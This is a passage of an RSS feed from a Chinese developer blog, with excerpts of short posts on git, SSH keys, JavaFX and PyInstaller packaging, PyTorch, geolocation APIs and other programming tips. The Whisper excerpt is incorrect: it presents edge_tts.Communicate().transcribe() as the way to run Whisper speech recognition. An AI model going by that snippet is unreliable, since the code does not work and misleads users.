      <description>项目搭建规范 一. 代码规范 1.1. 集成editorconfig配置 EditorConfig 有助于为不同 IDE 编辑器上处理同一项目的多个开发人员维护一致的编码风格。 项目根目录中创建 .editorconfig 文件 复制代码：&#xA;# http://editorconfig.org root = true [*] # 表示所有文件适用 charset = utf-8 # 设置文件字符集为 utf-8 indent_style = space # 缩进风格（tab | space） indent_size = 2 # 缩进大小 end_of_line = lf # 控制换行类型(lf | cr | crlf) trim_trailing_whitespace = true # 去除行尾的任意空白字符 insert_final_newline = true # 始终在文件末尾插入一个新行 [*.md] # 表示仅 md 文件适用以下规则 max_line_length = off trim_trailing_whitespace = false VSCode需要安装一个插件：EditorConfig for VS Code</description>
    </item>
    <item>
      <title>【Git】更改本地仓库的URL</title>
      <link>https://bchobby.github.io/posts/b0bbf44243cef587c6926056d3cf637d/</link>
      <pubDate>Fri, 07 Apr 2023 17:22:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0bbf44243cef587c6926056d3cf637d/</guid>
      <description> 更新现有的远程仓库URL，使用以下Git命令&#xA;git remote set-url &amp;lt;remote_name&amp;gt; &amp;lt;new_url&amp;gt; &amp;lt;remote_name&amp;gt;是你要更改的远程仓库的名称&amp;lt;new_url&amp;gt;是新的远程仓库URL 可以使用以下命令查看当前存储库中已配置的所有远程仓库的名称 git remote 如果你要将名为origin的远程仓库的URL从https://github.com/olduser/oldrepo.git更改为https://github.com/newuser/newrepo.git，则可以运行以下命令 git remote set-url origin https://github.com/newuser/newrepo.git &#34;origin&#34; 是一个本地 Git 仓库中对远程仓库的默认引用名。换句话说，当您在本地克隆一个 GitHub 仓库时，Git 会自动将远程仓库的默认名称设置为 &#34;origin&#34;&#xA;👍点赞，你的认可是我创作的动力 ！&#xA;🌟收藏，你的青睐是我努力的方向！&#xA;✏️评论，你的意见是我进步的财富！ </description>
    </item>
    <item>
      <title>error: character constant too long for its type</title>
      <link>https://bchobby.github.io/posts/7895e4a51a5c7798530dde9ff84b7041/</link>
      <pubDate>Fri, 07 Apr 2023 17:08:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7895e4a51a5c7798530dde9ff84b7041/</guid>
      <description>今天碰到 C++ 的一个基础问题，让我一时有点懵。网上查询后才意识到哪里出错了，我相信大部分刚开始接触 C/C++ 的人应该都遇到过在 linux 环境下 printf 输出一个字符串的时候编译失败，给出一个error：error: character constant too long for its type 这个错误是因为在printf内使用了单引号&#39; &#39;导致的。将其更改为双引号 &#34; &#34; 即可解决。</description>
    </item>
    <item>
      <title>github连接超时、提交（push）代码失败解决方案</title>
      <link>https://bchobby.github.io/posts/03608b6929ac05a4e6c6fe98e3fdd370/</link>
      <pubDate>Fri, 07 Apr 2023 16:50:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03608b6929ac05a4e6c6fe98e3fdd370/</guid>
      <description>1. 设置Git的user name和email（默认已安装Git） git config --global user.name &#34;yourname&#34; git config --global user.email &#34;youremail&#34; 2. 生成SSH密钥 查看是否已经有了ssh密钥：cd ~/.ssh 如果没有密钥则不会有此文件夹，有则备份删除 生成密钥： ssh-keygen -t rsa -C “458079442@qq.com” 按3个回车，密码为空。 Your identification has been saved in /home/tekkub/.ssh/id_rsa. Your public key has been saved in /home/tekkub/.ssh/id_rsa.pub. The key fingerprint is: ……………… 最后得到了两个文件：id_rsa和id_rsa.pub 添加密钥到ssh：ssh-add 文件名,需要之前输入密码. 3. 登陆github系统 点击右上角的 Account Settings—&amp;gt;SSH Public keys —&amp;gt; add another public keys 把你本地生成的密钥复制到里面（key文本框中）， 点击 add key 就ok了 注意：在github上添加ssh密钥，这要添加的是“id_rsa.pub”里面的公钥。 4. 接着打开git ，测试连接是否成功 $ ssh -T git@github.</description>
    </item>
    <item>
      <title>C语言的数组长度能用变量指定吗？</title>
      <link>https://bchobby.github.io/posts/aed324110eedecab2b3ec3bc41718e19/</link>
      <pubDate>Fri, 07 Apr 2023 16:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aed324110eedecab2b3ec3bc41718e19/</guid>
      <description>C语言的数组长度能用变量指定吗？&#xA;C++可以使用变量作为数组长度吗</description>
    </item>
    <item>
      <title>【20230407】NVIDIA显卡算力、Jetson比较</title>
      <link>https://bchobby.github.io/posts/1203fa8e0eea277d09dcc1cb6ef0200c/</link>
      <pubDate>Fri, 07 Apr 2023 12:29:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1203fa8e0eea277d09dcc1cb6ef0200c/</guid>
      <description>1 基本概念 1.1 算力单位 TOPS：指的是每秒钟可以执行的整数运算次数，它代表着计算机在处理图像、音频等任务时的处理能力。TOPS的单位是万亿次每秒（trillion operations per second）。一般是指整数运算能力INT8。&#xA;TFLOPS：指的是每秒钟可以执行的浮点运算次数，它代表着计算机在处理科学计算、机器学习等任务时的处理能力。TFLOPS的单位是万亿次每秒（trillion floating point operations per second)。一般是指单精度性能FP32。&#xA;MFLOPS：等于每秒一百万次浮点运算。（megaFLOPS）&#xA;GFLOPS：等于每秒十亿次浮点运算。(gigaFLOPS)&#xA;PFLOPS：等于每秒一千万亿次浮点运算。(petaFLOPS)&#xA;1.2 内存带宽 内存带宽是指从计算机主板到内存之间传输数据的速度。它通常用作衡量内存性能的指标之一，以确定计算机可以快速读取和写入内存中的数据量。&#xA;内存带宽的大小取决于内存总线的宽度和内存频率的乘积。例如，如果内存总线宽度为64位，内存频率为1600 MHz，则内存带宽为64位 x 1600 MHz = 12.8 GB/s。&#xA;内存带宽的大小会直接影响计算机的算力，因为它可以限制计算机能够快速读取和写入数据的数量。如果内存带宽不足，计算机可能需要等待更长的时间才能读取或写入数据，从而降低了计算机的效率。特别是在处理大规模数据集和运行需要大量内存的应用程序时，内存带宽的大小会更加重要。因此，在选择计算机配置时，需要考虑内存带宽和其他关键指标，以确保计算机能够满足特定的计算需求。&#xA;1.3 DMIPS DMIPS（Dhrystone Million Instructions Per Second，每秒处理的百万级的机器语言指令数），描述的是 CPU 的运算能力。&#xA;自动驾驶多传感器融合的滤波算法，激光点云的配准算法，多数的路径规划和决策算法考验的都是 CPU 的运算能力。&#xA;1.4 ASIC ASIC（Application-Specific Integrated Circuit）是指应用特定集成电路，是一种定制的、用于特定应用的集成电路。与通用集成电路（如微处理器）不同，ASIC是针对特定应用进行设计和制造的，可以优化电路的性能和功耗，从而满足特定应用的要求。ASIC通常用于高性能计算、通信、图形处理等领域。&#xA;ASIC设计需要经过电路设计、逻辑设计、物理设计、验证等多个步骤，因此制造成本较高，但在高端应用中可以获得很高的性能和可靠性。与FPGA相比，ASIC在性能、功耗和面积等方面都具有优势，但缺乏FPGA的灵活性和可编程性。&#xA;ASIC 加速器包括 CVP（Computer Vision Processors，计算机视觉处理器），DLA 和 MA（Multithreaded Accelerator，多线程加速器)，其中 18 颗 CVP 是 Mobileye 的下一代针对传统计算机视觉算法设计的 ASIC 芯片。芯片整体的 AI 算力设计只有 24TOPS。&#xA;例如：Jetson中的DLA深度学习加速就是一种ASIC。&#xA;2 GeForce 30x系列 3 Jetson 参考1：AI芯片，自动驾驶里的「水浒卡」 参考2：芯参数</description>
    </item>
    <item>
      <title>ubuntu磁盘空间不足解决办法</title>
      <link>https://bchobby.github.io/posts/2e51d391011d8b01f28ddcf996b4bb88/</link>
      <pubDate>Fri, 07 Apr 2023 11:45:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e51d391011d8b01f28ddcf996b4bb88/</guid>
      <description>df -h后发现/目录下空间很少&#xA;点击左下角&#xA;搜索disk&#xA;点击“disk usage…”&#xA;看各个目录下占用的空间，删除空间。&#xA;2、在ubuntu 使用Windows的磁盘空间&#xA;发现/media/liao/软件/ 下还有空间，则在/media/liao/软件/下，新建文件夹work，在/home/liao下建立work，&#xA;建立两者的软连接：&#xA;ln -s /media/liao/软件/work work&#xA;3、删除/home/用户名/.local/share/Trash/下的一些东西。&#xA;删除/home/liao/.config/Code/User/workspaceStorage/ 下的东西&#xA;删除.conan ，这是 公司编译产出用的工具。&#xA;4、把Windows不用的空间，转到ubuntu里。&#xA;Windows压缩空间，ubuntu安装gparted图形工具，确保Windows压缩的空间与ubuntu的空间连续，在gparted里拖拽即可。</description>
    </item>
    <item>
      <title>最新JavaFx JDK17如何正确的打出可以使用的exe软件包</title>
      <link>https://bchobby.github.io/posts/e8825e368999653620d8ad9e8a455312/</link>
      <pubDate>Fri, 07 Apr 2023 10:35:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8825e368999653620d8ad9e8a455312/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 前言一、提前需要准备？二、打包步骤1.现将module-info.java删除 选中module-info.java 鼠标右键 Refactor 然后选择safe deleted2.编辑设置 路径 Run/edit Configurations3.设置Artifacts 快捷键 ctrl+alt+shift+s 也可以通过file /Project Structure4.打jar包5.将jar包打包成exe 前言 最近有一个工作中需要开发一款可视化的行为树的配置工具，因为我呢一直用的java语言，所有就选择了用JavaFx进行桌面程序的开发，但是呢开发后打包却出现各种问题，那么这篇文章就记录一下我们成功打包的经验！供大家参考！&#xA;一、提前需要准备？ 1.确保电脑上已经安装好jdk17,以及环境变量也配置好&#xA;2.下载javafx SDK 解压后，将路径添加到环境变量中 点击跳转下载页面&#xA;3.下载javafx jmods 下载后解压 后面打包的时候需要用到 点击跳转下载页面&#xA;4.下载wix311 并安装好，然后配置环境变量&#xA;配置好后的环境变量如下【用户变量】Java17的环境变量在系统变量 这个大家应该都会我就不贴图了&#xA;二、打包步骤 1.现将module-info.java删除 选中module-info.java 鼠标右键 Refactor 然后选择safe deleted 2.编辑设置 路径 Run/edit Configurations 先将Application下面的配置全部删除，然后点击左上角的+号，选择Application,具体的设置如下 点击Modify options Add VM options 将下面的内容添加&#xA;--module-path &#34;C:\Program Files\Java\javafx-sdk-17.0.6\lib&#34; --add-modules javafx.controls,javafx.fxml 选择好程序启动类&#xA;3.设置Artifacts 快捷键 ctrl+alt+shift+s 也可以通过file /Project Structure 现将默认的Artifacts 下面的配置 删除点击+号&#xA;3.选择好启动类 点击ok&#xA;4.然后点击O吐葡萄LayOut 下的+号 选择file 路径选择javafx skd 的bin路径，将bin文件下的所有文件选择中 然后点击OK</description>
    </item>
    <item>
      <title>nn.AdaptiveAvgPool1d(1)是用来干嘛的，例子</title>
      <link>https://bchobby.github.io/posts/d437292e0ea87d1776bd55094e20a222/</link>
      <pubDate>Fri, 07 Apr 2023 09:31:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d437292e0ea87d1776bd55094e20a222/</guid>
      <description>nn.AdaptiveAvgPool1d(1)是PyTorch中的一个函数，用于对输入信号进行一维自适应平均池化操作。对于任何输入大小的输入，可以将输出尺寸指定为1，但是输入和输出特征的数目不会变化。这个函数通常用于将一维信号转换为一个标量值。&#xA;例如，如果您有一个长度为10的一维张量，您可以使用nn.AdaptiveAvgPool1d(1)将其转换为一个标量值。这个标量值是这个张量的平均值。&#xA;下面是一个使用nn.AdaptiveAvgPool1d(1)的例子：&#xA;import torch.nn as nn import torch input = torch.randn(1, 10, 5) pool = nn.AdaptiveAvgPool1d(1) output = pool(input) print(output) 这个例子中，我们首先创建了一个大小为(1, 10, 5)的张量。然后，我们使用nn.AdaptiveAvgPool1d(1)将其转换为一个大小为(1, 10, 1)的张量。最后，我们打印输出结果。&#xA;注意：它和nn.Linear一样，如果你输入了一个三维的数据，他只会对最后一维的数据进行处理。</description>
    </item>
    <item>
      <title>免费的语音质检系统分享</title>
      <link>https://bchobby.github.io/posts/ebd0a1946926b957dc6bb2bd8e0ad5af/</link>
      <pubDate>Thu, 06 Apr 2023 23:41:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebd0a1946926b957dc6bb2bd8e0ad5af/</guid>
      <description>人工智能技术近些年的迅速发展为各行业带来了巨大变化，其中之一就是自然语言处理，在这个自然语言处理发展过程中出现了很多专业的公司例如：讯飞、BAT也都有涉及这块业务，包含了声纹识别，说话人识别，年龄，性别，情绪等等，我们今天要介绍的是基于自然语言处理和关键词识别过滤技术打造的智能语音质检系统。&#xA;目前苏州磐石云公司的智能语音质检插件2.0，&#xA;1、可以通过vos或者呼叫中心系统同服务器安装插件的方式提供语音质检服务，插件安装免费仅需要ASR识别费用。根据预警关键词触发预警，推送到手机&#xA;2、通过独立部署针对电话信道进行录音并进行质检。&#xA;3、通过API调用提供ASR能力&#xA;优势：&#xA;1、安装使用软件免费。&#xA;2、根据电话信道研发的识别模型准确率更高。&#xA;3、ASR识别引擎完全自主研发，在识别费用上有绝对定价权。&#xA;4、支持大并发处理，计算资源充足。</description>
    </item>
    <item>
      <title>语音识别whisper</title>
      <link>https://bchobby.github.io/posts/b6986fc43f3811637053accae3b6ac55/</link>
      <pubDate>Thu, 06 Apr 2023 23:24:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6986fc43f3811637053accae3b6ac55/</guid>
      <description>Whisper是一个通用的语音识别模型，它使用了大量的多语言和多任务的监督数据来训练，能够在英语语音识别上达到接近人类水平的鲁棒性和准确性1。Whisper还可以进行多语言语音识别、语音翻译和语言识别等任务2。Whisper的架构是一个简单的端到端方法，采用了编码器-解码器的Transformer模型，将输入的音频转换为对应的文本序列，并根据特殊的标记来指定不同的任务2。&#xA;要使用Whisper模型，您需要安装Python 3.8-3.10和PyTorch 1.10.1或更高版本，以及一些其他的Python包，如HuggingFace Transformers和ffmpeg-python2。您还需要在您的系统上安装ffmpeg命令行工具2。您可以使用pip命令来安装或更新Whisper包，如下所示：&#xA;pip install -U openai-whisper&#xA;安装完成后，您可以使用edge_tts.Communicate类来创建一个Whisper对象，并调用其transcribe方法来对音频文件进行语音识别3。例如，以下代码可以对一个英语音频文件进行语音识别，并打印出结果：&#xA;import edge_tts tts = edge_tts.Communicate() result = tts.transcribe(‘english_audio.wav’) print(result)&#xA;如果您想对其他语言的音频文件进行语音识别或翻译，您可以在创建Whisper对象时指定language参数，如下所示：&#xA;tts = edge_tts.Communicate(language=‘zh-CN’) # for Chinese speech recognition tts = edge_tts.Communicate(language=‘zh-CN-en’) # for Chinese to English speech translation&#xA;更多关于Whisper模型和使用方法的细节，请参考以下链接：&#xA;Blog&#xA;Paper&#xA;Model card&#xA;Code&#xA;Colab example</description>
    </item>
    <item>
      <title>OSError: We couldn‘t connect to ‘https://huggingface.co‘ to load this file</title>
      <link>https://bchobby.github.io/posts/b048c5153af9edd0d8b0abcf7c2ffe3c/</link>
      <pubDate>Thu, 06 Apr 2023 21:52:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b048c5153af9edd0d8b0abcf7c2ffe3c/</guid>
      <description>OSError: We couldn&#39;t connect to &#39;https://huggingface.co&#39; to load this file, couldn&#39;t find it in the cached files and it looks like THUDM/chatglm-6b is not the path to a directory containing a file named configuration_chatglm.py.&#xA;Checkout your internet connection or see how to run the library in offline mode at &#39;https://huggingface.co/docs/transformers/installation#offline-mode&#xA;因为网络的无法连接到 https://huggingface.co 然后提示我们有离线模式&#xA;https://huggingface.co/docs/transformers/installation#offline-mode&#xA;THUDM/chatglm-6b-int4 at main&#xA;在这找到我们需要的文件并一个一个的下载&#xA;我们下载了这些文件并放到我们指定的文件里。&#xA;然后修改 cli_demo.py 文件就行了。&#xA;这样就从我们本地目录读取 ChatGLM-6B-INT4 是 ChatGLM-6B 量化后的模型权重。</description>
    </item>
    <item>
      <title>【超简便的Python】 提取两个列表的共同元素</title>
      <link>https://bchobby.github.io/posts/a1fdef4aef2f94b8407420a9d310dcf6/</link>
      <pubDate>Thu, 06 Apr 2023 21:40:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1fdef4aef2f94b8407420a9d310dcf6/</guid>
      <description>可以直接食用的代码👑 def duplicate_removal(self, A, B): return set(A).intersection(set(B)) Python如何提取两个列表的共同元素？也就是取两个集合的交集。除了常规的循环外，Python提供了一些更简洁更美的表达法，比如可以用列表解析的方法，或者用 Python 内置的集合运算。&#xA;比如已有如下两个列表，Python如何提取两个列表的共同元素？&#xA;[1, 2, 3, 4, 5] 和 [4, 5, 6, 7, 8] 希望能得到&#xA;[4, 5] 方法一，列表解析 🍉 可以用列表解析， List comprehension 下的方法：&#xA;A = [1, 2, 3, 4, 5] B = [4, 5, 6, 7, 8] print([x for x in A if x in B]) # [4, 5] 方法二，集合运算 🍉 还可以用Python 的集合（set）运算，s.intersection(t) 返回s与t的交集&#xA;A = [1, 2, 3, 4, 5] B = [4, 5, 6, 7, 8] print(set(A).</description>
    </item>
    <item>
      <title>⭐蓝桥杯高频题单——1.子串分值和（枚举 / 计算贡献 / 前缀数组 / 哈希思想）</title>
      <link>https://bchobby.github.io/posts/add1432346dbc9a68ef3a6b24235594e/</link>
      <pubDate>Thu, 06 Apr 2023 21:28:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/add1432346dbc9a68ef3a6b24235594e/</guid>
      <description>⭐子串分值和⭐ 方法一： 暴力 在做这道题的时候我想到了以前力扣做的一道Leetcode.78. 子集__DFS算法剖析讲解。初始我的想法是通过深搜找到所有可能的子串，再对他们分别计算f(S)，从而得到所有的f(S)之和。但是经过思考发现，这里找子串的过程和找子集的方式是完全不同的，问题就在于子集可以是不连续的几个数字组成，而子串这里一定是连续的。因此可知，这里就不需要麻烦的深搜来帮助完成了，因为找连续序列情况下的枚举是非常简单的，我们只需要对子串的起点和终点进行枚举即可实现对所有可能的序列进行搜寻，因此这里我们通过两个for循环即可解决问题，搭配哈希思想计算每一个序列的f(S)值即可。&#xA;Code: #include &amp;lt;iostream&amp;gt; #include &amp;lt;string&amp;gt; #define int long long // #include &amp;lt;bits/stdc++.h&amp;gt; using namespace std; signed main() { string s; cin &amp;gt;&amp;gt; s; int sum = 0; int len = s.size(); for(int i=0;i&amp;lt;len;i++){ for(int j=i;j&amp;lt;len;j++){ int hash[26] = {0}; for(int index=i;index&amp;lt;=j;index++){ hash[s[index] - &#39;a&#39;]++; } for(int temp=0;temp&amp;lt;26;temp++){ if(hash[temp] != 0) sum++; } } } cout &amp;lt;&amp;lt; sum; return 0; } 方法二： 前缀和 + 数学法分析 我们不妨先对题目所给定的ababc序列进行简要的分析，可以看到其子序列及每个子序列对应的f(S)一共为：</description>
    </item>
    <item>
      <title>定位——h5原生/高德/腾讯定位（城市搜索、自动补全、定位按钮和logo修改）</title>
      <link>https://bchobby.github.io/posts/d2ebdb822fbf8312d4f7ee2a5d827fc9/</link>
      <pubDate>Thu, 06 Apr 2023 18:40:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2ebdb822fbf8312d4f7ee2a5d827fc9/</guid>
      <description>在项目添加新功能时，使用cdn方式引入使用地图功能，使用功能只用到了地图的定位、点标记、详细地址查询、poi搜索和输入提示、计算两点之间的距离；因为在寻找高德地图问题时发现h5 和 web 端的好少，因此记录一下方便以后查找。&#xA;h5的navigator 原生定位 // 在导入js的时候添加插件AMap.Geocoder &amp;lt;script src=&#34;https://webapi.amap.com/maps?v=1.4.15&amp;amp;key=你的WEBjs的key&amp;amp;plugin=AMap.Geocoder&#34;&amp;gt;&amp;lt;/script&amp;gt; let geocoder = new AMap.Geocoder({}); // 获取地理编码与逆地理编码类 实例 // 判断是否存在navigator.geolocation if(navigator &amp;amp;&amp;amp; navigator.geolocation) { // 开始定位 navigator.geolocation.getCurrentPosition(function(position) { let latitude = position.coords.latitude;// 获取纬度 let longitude = position.coords.longitude;// 获取经度 // 获取到的是gps 定位 使用高德的经纬度转换 // https://lbs.amap.com/api/webservice/guide/api/convert 这是经纬度转换的地址可以看下有什么参数 $.ajax({ url: &#39;https://restapi.amap.com/v3/assistant/coordinate/convert?key=必须是web服务的key&#39;, type: &#39;get&#39;, data: { locations: longitude+&#39;,&#39;+latitude, coordsys: &#34;gps&#34;, }, success:function(res){ // 根据转换的经纬度 查询当前位置的详细地址 geocoder.getAddress(res.locations.split(&#39;,&#39;),function(status, result) { // 查询详细地址 alert(result.regeocode.formattedAddress) }); } }) },function(err){ console.</description>
    </item>
    <item>
      <title>git报错，error: You have not concluded your merge (MERGE_HEAD exists). hint: Please,</title>
      <link>https://bchobby.github.io/posts/932d243124eb0c1fab1f2e087d6b8c48/</link>
      <pubDate>Thu, 06 Apr 2023 18:07:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/932d243124eb0c1fab1f2e087d6b8c48/</guid>
      <description> git报错&#xA;error: You have not concluded your merge (MERGE_HEAD exists). hint: Please,&#xA;解决办法一：保留本地的更改,中止合并-&amp;gt;重新合并-&amp;gt;重新拉取 （推荐） git merge --abort git reset --merge git pull 解决办法二：舍弃本地代码,远端版本覆盖本地版本(慎重) git fetch --all git reset --hard origin/master git fetch </description>
    </item>
    <item>
      <title>outputStream（输出流）转inputstream（输入流）以及输入流如何复用</title>
      <link>https://bchobby.github.io/posts/a8068723434b2a92d687f17f7ef0ff45/</link>
      <pubDate>Thu, 06 Apr 2023 17:50:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8068723434b2a92d687f17f7ef0ff45/</guid>
      <description>目录 需求：准备： 文件、流之间的转换MultipartFile 转 inputstream（输入流）outputStream（输出流）转为 inputstream（输入流）inputstream （输入流）转 ByteArrayOutputStreamMultipartFile 文件直接转输入流上传和生成摘要MultipartFile 文件需要转为pdf 再进行上传和生成摘要文件上传源码文件hash 摘要算法docx或doc转pdf文件上传 需求： 通过MultipartFile 上传文件到文件服务器，上传前要把文件转为pdf格式进行上传,并生成文件摘要用来验证服务器中的文件是否被篡改。&#xA;准备： 需要涉及到 inputstream（输入流）或outputStream（输出流）要使用两次 。&#xA;一、如果该文件本身就是pdf格式则直接进行上传。第一次是通过输入流去上传文件；第二次是通过输入流去生成文件摘要。&#xA;二、如果该文件不是pdf则需要工具类把文件转为pdf再上传。转pdf的工具类 返回的为outputStream（输出流）。上传的工具类以及生成摘要的工具类则需要inputstream（输入流）。&#xA;则需要把输出流进行转化变为输入流，然后再第一次是通过输入流去上传文件；第二次是通过输入流去生成文件摘要&#xA;注：流读过一次就不能再读了，而InputStream对象本身不能复制&#xA;文件、流之间的转换 MultipartFile 转 inputstream（输入流） byte [] byteArr=file.getBytes(); InputStream inputStream = new ByteArrayInputStream(byteArr); outputStream（输出流）转为 inputstream（输入流） ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); InputStream inputStream2 = new ByteArrayInputStream(outputStream.toByteArray()); inputstream （输入流）转 ByteArrayOutputStream //InputStream 转 ByteArrayOutputStream //获取到一个inputstream后，可能要多次利用它进行read的操作。由于流读过一次就不能再读了，而InputStream对象本身不能复制，而且它也没有实现Cloneable接口 public static ByteArrayOutputStream cloneInputStream(InputStream input) { try { ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int len; while ((len = input.</description>
    </item>
    <item>
      <title>IDEA启动项目发现端口一直被占用，但是没有进程在使用该端口</title>
      <link>https://bchobby.github.io/posts/b1408b99bdc8d0a72875ae70d99b56c2/</link>
      <pubDate>Thu, 06 Apr 2023 17:42:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1408b99bdc8d0a72875ae70d99b56c2/</guid>
      <description> 某一次强制关闭IDEA后，再次打开IDEA，启动项目的时候，显示端口被占用&#xA;win+R输入cmd，查看端口是否被占用&#xA;但是没有显示端口被占用&#xA;电脑重启多次也显示被占用，网上试了好多种方法也没有解决&#xA;最后：&#xA;以管理员身份打开 终端 输入 netsh winsock reset 重启电脑，就ok了 某一次刚开机启动本地nacos，同样显示端口被占用&#xA;最后还是以上面的方式解决：&#xA;以管理员身份打开 终端 输入 netsh winsock reset 重启电脑 </description>
    </item>
    <item>
      <title>shell脚本格式</title>
      <link>https://bchobby.github.io/posts/1c57fefa0bb19902c5a36c720b8fb2c5/</link>
      <pubDate>Thu, 06 Apr 2023 17:17:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c57fefa0bb19902c5a36c720b8fb2c5/</guid>
      <description>第一次写shell脚本报错，记录错误原因。&#xA;本地直接用 notepas++ 创建了一个 .cfg 文件。表写好后上传到linux服务器运行，然后报错。&#xA;脚本格式 windows系统本地新创建脚本时，需检查文本格式。&#xA;需使用Unix（LF），其换行符为’LF’；&#xA;若使用了Windows（CR LF）格式，其换行符为’CR LF’（notepad++：视图-&amp;gt;显示符号-&amp;gt;显示行尾符），在Linux系统中读取编译时，会导致错误的换行判断，从而引起执行错误。&#xA;notepad++右下角中显示，鼠标右击切换：</description>
    </item>
    <item>
      <title>将python项目(django/flask)打包成exe和安装包</title>
      <link>https://bchobby.github.io/posts/77e4df3f194b0e66d14b481715e2718d/</link>
      <pubDate>Thu, 06 Apr 2023 17:14:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77e4df3f194b0e66d14b481715e2718d/</guid>
      <description>目录 打包Flask项目写一个简单的Flask项目下载pyinstaller进入到项目路径下，执行运行exe，测试 使用nsis把文件夹打包成windows的安装包下载安装nsis把dist文件夹下的run文件夹压缩成zip使用nsis把压缩包，做成windows安装文件 打包Django项目写一个简单的django项目，准备静态文件使用 pyinstaller打包执行打包成的exe把templates和static文件夹copy到dist/manage文件夹下运行项目注意一些坑 打包其他项目（小工具）准备一个多文件的小工具源码执行打包程序生成.spec配置文件修改.spec配置文件重新打包 .spec脚本参数介绍其他打包工具（cx_Freeze，PyOxidizer，Py2exe，Briefcase）pyinstallercx_FreezePyOxidizerPy2exe Q&amp;amp;A打包过程找不到自己自建模块.spec文件Analysis OptionsBuild OptionsDeployment Options 一个应用有多个文件夹要如何打包成一个exe且不要多余的依赖文件 Python是解释型语言，Flask或Django项目如果部署，源码可能会泄露，因此可以把项目打包成exe，来保护源码。需要用到的工具： pyinstaller：把python项目打包成不同平台的可执行文件nsis：NSIS（Nullsoft Scriptable Install System）是一个开源的 Windows 系统下安装程序制作程序，它提供了安装、卸载、系统设置、文件解压缩等功能。这如其名字所指出的那样，NSIS 是通过它的脚本语言来描述安装程序的行为和逻辑的 打包Flask项目 写一个简单的Flask项目 下载pyinstaller pip install pyinstaller 可选参数示例说明-Fpyinstaller -F demo.py只在dist文件夹中生成一个程序demo.exe文件，适用于一个模块没有多依赖.py文件-Dpyinstaller -D demo.py默认选项，除了主程序demo.exe外，还会在在dist文件夹中生成很多依赖文件，推荐使用这个-cpyinstaller -c demo.py默认选项，只对windows有效，使用控制台-wpyinstaller -w demo.py只对windows有效，不使用控制台-ppyinstaller -p D:\project\demo.py设置导入路径-ipyinstaller -i D:\demo.ico demo.py给生成的demo.exe文件设置一个自定义的图标 进入到项目路径下，执行 # run.py 是flask项目的执行文件，app.run所在py文件 pyinstaller -D run.py # 可以看到项目路径下有 -build文件夹 -dist文件夹：重要，下有run文件夹(py文件名字)，有个run.exe(py文件的名字) -run.spec # 把pro_flask这个文件夹，拷贝到dist下的run文件夹 -因为flask项目有静态文件和html文件，如果不拷贝过去，静态文件和html文件会找不到 -我们为了隐藏代码，可以把所有python的代码都删除，只留static和templates文件夹 运行exe，测试 # 到dist/run文件夹下，双击 run.exe,启动 # 浏览器访问 使用nsis把文件夹打包成windows的安装包 下载安装nsis nsis:NSIS（Nullsoft Scriptable Install System）是一个开源的 Windows 系统下安装程序制作程序，它提供了安装、卸载、系统设置、文件解压缩等功能。这如其名字所指出的那样，NSIS 是通过它的脚本语言来描述安装程序的行为和逻辑的 利用 nsis 把刚刚的dist的run文件夹打包成windows的安装包 把dist文件夹下的run文件夹压缩成zip 使用nsis把压缩包，做成windows安装文件 打包Django项目 写一个简单的django项目，准备静态文件 # 在django项目的配置文件中修改settings.</description>
    </item>
    <item>
      <title>【已解决】关于visual studio 2022 PerfWatson2.exe进程关闭问题</title>
      <link>https://bchobby.github.io/posts/0bbb1a06224bac711c184dbd41577633/</link>
      <pubDate>Thu, 06 Apr 2023 16:34:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bbb1a06224bac711c184dbd41577633/</guid>
      <description>在安装SQL时候出现了下图情况&#xA;在将后台 visual studio关闭后，仍然还有下图情况发生&#xA;由于2022版本用的人比较少，所以从网上找到教程并不能关闭该程序，后经过尝试，可通过隐私设置，选择否，点击确定，即可关闭</description>
    </item>
    <item>
      <title>notepad&#43;&#43; 运行 C 程序</title>
      <link>https://bchobby.github.io/posts/d4f1ea50c43dc39bf449fe8248784943/</link>
      <pubDate>Thu, 06 Apr 2023 16:25:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4f1ea50c43dc39bf449fe8248784943/</guid>
      <description>下载并安装Mingw, 使用的编译器是Windows环境下的gcc, 支持C11.&#xA;配置notepad++环境下用Mingw运行C程序, 设置运行C程序的快捷键, 比如ctrl+shift+c.&#xA;运行的命令：&#xA;cmd /k gcc -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &#34;$(FULL_CURRENT_PATH)&#34; &amp;amp;&amp;amp; CLS &amp;amp;&amp;amp; &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT 字体建议设为Consolas, 方便区分字母o和数字0.&#xA;设置一些常用快捷键:&#xA;整体缩进: tab&#xA;整体取消缩进: shift+tab&#xA;块注释: alt+;&#xA;取消块注释: alt+’&#xA;行注释: alt+,&#xA;取消行注释: alt+.&#xA;快速添加上一新行: ctrl+shift+enter&#xA;快速添加下一新行: ctrl+enter&#xA;上移选中的块或当前行: ctrl+shitf+up&#xA;下移选中的块或当前行: ctrl+shitf+down&#xA;设置为GB2312: Ctrl+G&#xA;使用UTF-8编码： Ctrl+U&#xA;建议将背景设为白色，在选中部分代码，右键选择Plugin Commands，再选择Copy text with syntax highlighting，即可连着格式和高亮复制到Word中。&#xA;格式化代码：插件——NppAStyle——format 